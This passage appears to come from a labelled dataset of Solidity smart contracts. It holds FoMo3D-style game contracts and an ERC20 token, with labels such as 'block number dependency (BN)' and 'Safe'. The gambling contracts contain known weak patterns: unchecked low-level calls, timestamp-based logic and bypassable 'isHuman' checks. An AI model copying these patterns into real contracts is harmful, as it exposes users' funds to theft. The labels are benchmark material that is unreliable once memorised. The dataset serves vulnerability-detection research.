_team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x0507567f1ce102b70b27da7d74d52daa2d9b3011_ThePatriotCoin.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'The Patriot Coin' token contract // // Deployed to : 0x09A06FE3fd558F4A4459bA5D0d8ED31416b56E02 // Symbol : VETE // Name : The Patriot Coin // Total supply: 800000000 // Decimals : 0 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ThePatriotCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ThePatriotCoin() public { symbol = ""VETE""; name = ""The Patriot Coin""; decimals = 0; _totalSupply = 800000000; balances[0x09A06FE3fd558F4A4459bA5D0d8ED31416b56E02] = _totalSupply; Transfer(address(0), 0x09A06FE3fd558F4A4459bA5D0d8ED31416b56E02, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 2379.sol,"pragma solidity ^0.4.24; interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } pragma solidity ^0.4.24; library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FoMoJP is modularLong, Ownable { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x24a0e6BD446CF4c76C5f456f7754055d75c45ecF); string constant public name = ""BonBon Sama Great""; string constant public symbol = ""BON""; uint256 constant private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30, 6); fees_[1] = F3Ddatasets.TeamFee(43, 0); fees_[2] = F3Ddatasets.TeamFee(56, 10); fees_[3] = F3Ddatasets.TeamFee(43, 8); potSplit_[0] = F3Ddatasets.PotSplit(15, 10); potSplit_[1] = F3Ddatasets.PotSplit(25, 0); potSplit_[2] = F3Ddatasets.PotSplit(20, 20); potSplit_[3] = F3Ddatasets.PotSplit(30, 10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); 